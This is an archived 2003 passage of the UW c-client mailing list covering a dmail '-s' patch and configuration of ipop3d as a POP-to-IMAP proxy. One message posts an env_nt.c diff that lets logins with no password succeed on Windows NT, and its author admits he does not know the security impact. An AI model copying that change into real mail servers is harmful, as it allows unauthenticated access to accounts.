can use the LOGIN, AUTHENTICATE PLAIN, and AUTHENTICATE LOGIN commands). If you build with SSLTYPE=nopwd (or SSLTYPE=unix.nopwd), then unencrypted logins are not permitted on port 143 unless you first negotiate TLS encryption (STARTTLS command). You can use encrypted logins (AUTHENTICATE GSSAPI, AUTHENTICATE CRAM-MD5, etc.) if your server is configured to support that. > I have tried building with "SSLTYPE=unix" in the make command line but that > doesn't achieve the above. Can you be more specific about your expectations vs. results? It should work. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Aug 30 07:38:18 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 30 Aug 2003 07:38:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7UEcIxd021932 for ; Sat, 30 Aug 2003 07:38:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h7UEcFYa023821 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 30 Aug 2003 07:38:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7UEc7TB022006; Sat, 30 Aug 2003 07:38:07 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7UEaX2x062038 for ; Sat, 30 Aug 2003 07:36:33 -0700 Received: from smtp.mscha.org (dogbert.demon.nl [212.238.192.16]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h7UEaT5U031903 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 30 Aug 2003 07:36:31 -0700 Received: from mscha.org (ratbert.local.mscha.org [192.168.0.52]) (authenticated bits=0) by smtp.mscha.org (8.12.9/8.12.9) with ESMTP id h7UEaNGR004017 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Sat, 30 Aug 2003 16:36:24 +0200 Message-Id: <3F50B667.7070905@mscha.org> Date: Sat, 30 Aug 2003 16:36:23 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Schaap To: c-client@u.washington.edu Subject: Patch for dmail: add '-s' option (flag as '\Seen') MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------000002000204090100000303" X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-milter 0.1 @ mscha.org (http://www.amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='X_ACCEPT_LANG, __BAT_BOUNDARY, __CT, __CTYPE_HAS_BOUNDARY, __HAS_MSGID, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------000002000204090100000303 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Hi, A while ago, I modified dmail to support an '-s' flag which files a message flagged as '\Seen'. (I use this to file outgoing messages appropriately from procmail.) I've attached the patch for this to this message. Feel free to include in the IMAP toolkit distribution. Best regards, – Michael --------------000002000204090100000303 Content-Type: text/plain; name="dmail_seen.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="dmail_seen.patch" diff -u ORIG/dmail.1 ./dmail.1 --- ORIG/dmail.1 Thu May 9 16:36:18 2002 +++ ./dmail.1 Sun Jan 19 21:20:06 2003 @@ -4,7 +4,7 @@ .nh .SH SYNOPSIS .B dmail -.I [\-D] [\-f from_name] [user][+folder] +.I [\-D] [\-f from_name] [-s] [user][+folder] .SH DESCRIPTION .I dmail delivers mail to a user's INBOX or a designated folder. @@ -62,6 +62,8 @@ Return-Path: <\fIfrom_name\fR> .br is prepended to the message before delivery. +.PP +The \fB-s\fR flag specifies that the message will be flagged '\\Seen'. .SH RESTRICTIONS Absolute pathnames and .I ~user diff -u ORIG/dmail.c ./dmail.c --- ORIG/dmail.c Mon Jul 15 00:48:51 2002 +++ ./dmail.c Sun Jan 19 21:20:57 2003 @@ -35,6 +35,7 @@ char *version = "2002(12)"; /* dmail release version */ int debug = NIL; /* debugging (don't fork) */ +int flagSeen = NIL; /* flag message as '\Seen' */ int trycreate = NIL; /* flag saying gotta create before appending */ int critical = NIL; /* flag saying in critical code */ char *sender = NIL; /* message origin */ @@ -140,6 +141,9 @@ if (argc--) sender = cpystr (*++argv); else _exit (fail ("missing argument to -r",EX_USAGE)); break; + case 's': + flagSeen = T; + break; default: /* anything else */ _exit (fail ("unknown switch",EX_USAGE)); } @@ -364,7 +368,7 @@ ((sbuf.st_mode & S_IFMT) == S_IFDIR) ? "directory" : "file",path); mm_dlog (tmp); /* do the append now! */ - if (!mail_append (prt,mailbox,st)) { + if (!mail_append_full (prt,mailbox,(flagSeen?"\\Seen":NIL),NIL,st)) { sprintf (tmp,"message delivery failed to %.80s",path); return fail (tmp,EX_CANTCREAT); } --------------000002000204090100000303-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 1 07:11:51 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Sep 2003 07:11:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h81EBpxd008036 for ; Mon, 1 Sep 2003 07:11:51 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h81EBnZ9025789 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 1 Sep 2003 07:11:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h81EBeJ8019966; Mon, 1 Sep 2003 07:11:41 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h81E9a2x007556 for ; Mon, 1 Sep 2003 07:09:36 -0700 Received: from mail-blade8.ncbi.nlm.nih.gov (mail-blade8.ncbi.nih.gov [130.14.29.48]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h81E9Y19028508 for ; Mon, 1 Sep 2003 07:09:35 -0700 Received: from 127.0.0.1 (scarecrow [130.14.25.117]) by mail-blade8.ncbi.nlm.nih.gov (8.12.9/8.12.6) with ESMTP id h81E9E0n013850 for ; Mon, 1 Sep 2003 10:09:19 -0400 Message-Id: <82162171970.20030901100916@ncbi.nlm.nih.gov> Date: Mon, 1 Sep 2003 10:09:16 -0400 Reply-To: "Paul A. Thiessen" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Paul A. Thiessen" To: c-client@u.washington.edu Subject: how to configure ipop3d? MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Priority: 3 (Normal) X-Scanned-By: MIMEDefang 2.36 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME, SIGNATURE_LONG_SPARSE, __BAT_MSGID, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I just downloaded and figured out how to build your imap-2002d package. Thanks for providing this! I'm trying to set up ipop3d to use as a POP->IMAP relayer, so that I can access an IMAP server from my POP3 e-mail client - that is what it's for, right? I'm not totally confused? ;) I'm not sure how to configure it, though: - How do I tell it what the name/address/port of my IMAP server is? I tried changing myServerAddr and myServerHost in env_nt.c, but that didn't work. - Do I need to hard-code in my username/password somehow (by changing the global vars at the top of env_nt.c or ...?), or are those taken from the username/password sent by the POP3 e-mail client? - Do I need to use some form of POP3 authentication from my e-mail client? - Does ipop3d need to cache e-mail messages somewhere, or is it a pure "virtual client" in the sense that it just passes mail from IMAP server directly to POP3 client? Anyway, all I'm getting now are "ERR bad login" or "ERR bad authentication" messages when I try to fetch e-mail. I'm using the UW inetlisn, which seems to be working okay, as it looks like my e-mail client is actually connecting to ipop3d. It's just obviously not making the connection to the server, not sure why. Any general hints on how to set this up would be appreciated! I'm not planning to run a local IMAP server or anything, all I need is ipop3d. - Paul -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Paul A. | NCBI / NIH Thiessen | thiessen@ncbi.nlm.nih.gov +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 2 07:39:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 07:39:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82Edwxd022066 for ; Tue, 2 Sep 2003 07:39:58 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82EdtZ9007353 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 07:39:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82EdoKH009676; Tue, 2 Sep 2003 07:39:50 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82EbV2x033546 for ; Tue, 2 Sep 2003 07:37:31 -0700 Received: from mail-blade7.ncbi.nlm.nih.gov (mail-blade7.ncbi.nih.gov [130.14.29.47]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82EbT19004020 for ; Tue, 2 Sep 2003 07:37:29 -0700 Received: from 127.0.0.1 (scarecrow [130.14.25.117]) by mail-blade7.ncbi.nlm.nih.gov (8.12.9/8.12.6) with ESMTP id h82EZRJO030124 for ; Tue, 2 Sep 2003 10:35:27 -0400 Message-Id: <14476169576.20030902103529@ncbi.nlm.nih.gov> Date: Tue, 2 Sep 2003 10:35:29 -0400 Reply-To: "Paul A. Thiessen" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Paul A. Thiessen" To: c-client@u.washington.edu Subject: Re: how to configure ipop3d? In-Reply-To: <82162171970.20030901100916@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: base64 X-Priority: 3 (Normal) X-Scanned-By: MIMEDefang 2.36 X-Uwash-Spam: Gauge=XIIIII, Probability=15%, Report='BASE64_ENC_TEXT, IN_REP_TO, PRIORITY_NO_NAME, REFERENCES, __BAT_MSGID, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN T24gTW9uZGF5LCBTZXB0ZW1iZXIgMSwgMjAwMywgMTA6MDk6MTYgQU0sIFBhdWwgQS4gVGhp ZXNzZW4gd3JvdGU6DQoNClBBVD4gSSdtIHRyeWluZyB0byBzZXQgdXAgaXBvcDNkIHRvIHVz ZSBhcyBhIFBPUC0+SU1BUCByZWxheWVyLi4uDQoNCldlbGwsIGFmdGVyIGxvb2tpbmcgbW9y ZSBhdCB0aGUgY29kZSwgSSdtIGEgYml0IGRpc2NvdXJhZ2VkLiBJJ20gdXNpbmcNCldpbjIw MDAsIGFuZCBJIHNlZSBpbiBlbnZfbnQuYywgaW4gc3lzdGVtX2xvZ2luKCksIHRoZSBsaW5l czoNCg0KICAgIGlmIChjaGVja19udCAoKSkgeyAgICAgICAgICAvKiBOVDogYXV0aGVudGlj YXRpb24gdXNlciBub3Qgc3VwcG9ydGVkIHlldCAqLw0KICAgICAgaWYgKGF1dGh1c2VyICYm ICphdXRodXNlcik7DQogICAgICBlbHNlIGlmICghcGFzcyk7ICAgICAgICAgIC8qIGRpdHRv IHBhc3M9PU5JTCAqLw0KDQpGcm9tIHdoYXQgSSBjYW4gdGVsbCwgdGhlIHBvcC0+aW1hcCBw cm94eSBzZWVtcyB0byB1c2UgYW5vbnltb3VzX2xvZ2luKCksDQp3aGljaCB1c2VzIGEgTklM IHBhc3MgYXJndW1lbnQgdG8gc3lzdGVtX2xvZ2luKCkuIERvZXMgdGhhdCBtZWFuIHRoZW4g dGhhdA0KcmVsYXlpbmcgd2lsbCBuZXZlciB3b3JrIHVuZGVyIHdpbjJrPw0KDQpJZiB0aGF0 J3MgdGhlIGNhc2UsIGlzIHRoZXJlIHNvbWV0aGluZyBJIGNhbiBkbyB0byBoZWxwIGVuYWJs ZSB0aGlzPyBJcyBpdCBhDQpmdW5kYW1lbnRhbCBtYXR0ZXIgb2YgdGhlIE9TIHRoYXQgbWFr ZXMgdGhpcyBpbXBvc3NpYmxlLCBvciBpcyBpdCBqdXN0IHRoYXQNCm5vYm9keSdzIGhhZCB0 aW1lIHRvIGltcGxlbWVudCBpdD8gSSdsbCB2b2x1bnRlZXIgc29tZSB0aW1lIG9uIHRoaXMg aWYNCnNvbWVvbmUgd291bGQgZ2l2ZSBtZSBhIGZldyBnZW5lcmFsIHRpcHMgb24gaG93IHRv IG1ha2UgdGhpcyB3b3JrLg0KDQotIFBhdWwNCg0KLS0gDQorLSstKy0rLSstKy0rLSstKy0r LSstKy0rLSstKy0rLSstKy0rLSstKy0rDQogICBQYXVsIEEuICAgfCAgICAgICAgTkNCSSAv IE5JSA0KICBUaGllc3NlbiAgIHwgIHRoaWVzc2VuQG5jYmkubmxtLm5paC5nb3YNCistKy0r LSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSstKy0rLSsNCg0KDQo= From pinedev@shivax2.cac.washington.edu Tue Sep 2 14:06:52 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 14:06:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82L6pxd010188 for ; Tue, 2 Sep 2003 14:06:51 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82L6nYa007210 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 14:06:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82L6hKH026466; Tue, 2 Sep 2003 14:06:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82L5g2x054042 for ; Tue, 2 Sep 2003 14:05:42 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82L5eZP027921 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Sep 2003 14:05:41 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82L5Zn7028621; Tue, 2 Sep 2003 14:05:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82L5ZXa015680 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Sep 2003 14:05:35 -0700 Message-Id: Date: Tue, 2 Sep 2003 14:06:02 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Paul A. Thiessen" Cc: c-client@u.washington.edu Subject: Re: how to configure ipop3d? In-Reply-To: <82162171970.20030901100916@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 1 Sep 2003, Paul A. Thiessen wrote: > I'm trying to set up ipop3d to use as a POP->IMAP > relayer, so that I can access an IMAP server from my POP3 e-mail client - > that is what it's for, right? I'm not totally confused? ;) ipop3d is a POP3 server which happens to have IMAP proxy capability as an additional feature. It will run on Windows NT, but was designed for UNIX and it is recommended that you run it on UNIX instead of Windows. > - How do I tell it what the name/address/port of my IMAP server is? I tried > changing myServerAddr and myServerHost in env_nt.c, but that didn't work. You don't. If you plan on using the POP->IMAP proxy capability, the user at the POP client uses a POP user name of the form: imapserver:imapuserid and a POP password that's the same as the IMAP password. For example, if the user's IMAP server is fred.nlm.nih.gov and the user's userid is sally, the POP3 user name would be fred.nlm.nih.gov:sally > - Do I need to hard-code in my username/password somehow (by changing the > global vars at the top of env_nt.c or ...?), or are those taken from the > username/password sent by the POP3 e-mail client? This data is supplied by the client. > - Do I need to use some form of POP3 authentication from my e-mail client? Barring some additional programming effort, only plaintext password authentication will work. These days, people aren't doing much POP/IMAP proxying. > - Does ipop3d need to cache e-mail messages somewhere, or is it a pure > "virtual client" in the sense that it just passes mail from IMAP server > directly to POP3 client? ipop3d is a "virtual client". > Anyway, all I'm getting now are "ERR bad login" or "ERR bad authentication" > messages when I try to fetch e-mail. Is the "Guest" account defined on your Windows NT server with no password? A preferable choice would be to run this on UNIX, in which case it uses the system standard "nobody" account for daemons and doesn't need to have the account be open. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 2 14:14:34 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 14:14:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82LEYxd010512 for ; Tue, 2 Sep 2003 14:14:34 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82LEVZ9024858 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 14:14:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82LEQJ8021134; Tue, 2 Sep 2003 14:14:27 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82LDf2x030458 for ; Tue, 2 Sep 2003 14:13:41 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82LDeZP031042 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Sep 2003 14:13:40 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82LDUn7030126; Tue, 2 Sep 2003 14:13:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82LDU4A003451 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Sep 2003 14:13:30 -0700 Message-Id: Date: Tue, 2 Sep 2003 14:13:58 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Michael Schaap Cc: c-client@u.washington.edu Subject: Re: Patch for dmail: add '-s' option (flag as '\Seen') In-Reply-To: <3F50B667.7070905@mscha.org> References: <3F50B667.7070905@mscha.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much for your suggested patch. After careful consideration, I have decided that this patch is generally useful and should be adopted. With minor cosmetic differences, it will be in imap-2003. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 2 14:30:56 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 14:30:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82LUuxd011427 for ; Tue, 2 Sep 2003 14:30:56 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82LUrYa008337 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 14:30:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82LUcOL080136; Tue, 2 Sep 2003 14:30:39 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82LTc2x026604 for ; Tue, 2 Sep 2003 14:29:38 -0700 Received: from mail-blade8.ncbi.nlm.nih.gov (mail-blade8.ncbi.nih.gov [130.14.29.48]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82LTatU017503 for ; Tue, 2 Sep 2003 14:29:36 -0700 Received: from 127.0.0.1 (scarecrow [130.14.25.117]) by mail-blade8.ncbi.nlm.nih.gov (8.12.9/8.12.6) with ESMTP id h82LT10n022438 for ; Tue, 2 Sep 2003 17:29:02 -0400 Message-Id: <793892977.20030902172903@ncbi.nlm.nih.gov> Date: Tue, 2 Sep 2003 17:29:03 -0400 Reply-To: "Paul A. Thiessen" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Paul A. Thiessen" To: c-client@u.washington.edu Subject: Re[2]: how to configure ipop3d? In-Reply-To: <14476169576.20030902103529@ncbi.nlm.nih.gov> References: <82162171970.20030901100916@ncbi.nlm.nih.gov> <14476169576.20030902103529@ncbi.nlm.nih.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Scanned-By: MIMEDefang 2.36 X-Uwash-Spam: Gauge=III, Probability=3%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, PRIORITY_NO_NAME, REFERENCES, SIGNATURE_SHORT_DENSE, __BAT_MSGID, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __HAS_X_PRIORITY, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks, Mark, for your help! I discovered that I can make this work on my system by making the following simple change (to : imap-2002d> diff c-client/env_nt.c src/osdep/nt/env_nt.c 342c342 < else if (!pass) return env_init (user,NIL); /* ditto pass==NIL */ --- > else if (!pass); /* ditto pass==NIL */ Basically, this makes anonymous_login() work on win2k. I dunno how good a general fix this is - what sort of security implications it has - but since I'm using this only on my own personal laptop, not used by others, I'm not too worried. (Should I be? I modeled this after the parallel code for win9x...) I guess I don't understand this part of the code still - why any sort of local "login" is required when no local files are being accessed. What's the need for the Guest login during the proxy connection? (I'm not too familiar with this part of windows os interaction.) Anyway, now it's working. Thanks again for making this tool! Yeah, I realize this is probably a rare use these days. :) Ironically, I need this because my e-mail client (The Bat v2) now fully supports IMAP in the "correct" remote mailbox file model (e.g., doesn't store mail locally), and my server only supports IMAP. But on my laptop, I need to have mail stored and accessible locally, since I'm not always on the network, and the only way I could do this was to use The Bat as a POP client. - Paul -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Paul A. | NCBI / NIH Thiessen | thiessen@ncbi.nlm.nih.gov +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ On Tuesday, September 2, 2003, 10:35:29 AM, Paul A. Thiessen wrote: PAT> On Monday, September 1, 2003, 10:09:16 AM, Paul A. Thiessen wrote: PAT>> I'm trying to set up ipop3d to use as a POP->IMAP relayer... PAT> Well, after looking more at the code, I'm a bit discouraged. I'm using PAT> Win2000, and I see in env_nt.c, in system_login(), the lines: PAT> if (check_nt ()) { /* NT: authentication user not supported yet */ PAT> if (authuser && *authuser); PAT> else if (!pass); /* ditto pass==NIL */ >>From what I can tell, the pop->imap proxy seems to use anonymous_login(), PAT> which uses a NIL pass argument to system_login(). Does that mean then that PAT> relaying will never work under win2k? PAT> If that's the case, is there something I can do to help enable this? Is it a PAT> fundamental matter of the OS that makes this impossible, or is it just that PAT> nobody's had time to implement it? I'll volunteer some time on this if PAT> someone would give me a few general tips on how to make this work. PAT> - Paul -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 2 15:13:43 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Sep 2003 15:13:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MDgxd013822 for ; Tue, 2 Sep 2003 15:13:42 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MDeZ9027595 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 2 Sep 2003 15:13:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h82MDUTB010706; Tue, 2 Sep 2003 15:13:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h82MCg2x059058 for ; Tue, 2 Sep 2003 15:12:42 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.08) with ESMTP id h82MCebV030561 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Sep 2003 15:12:40 -0700 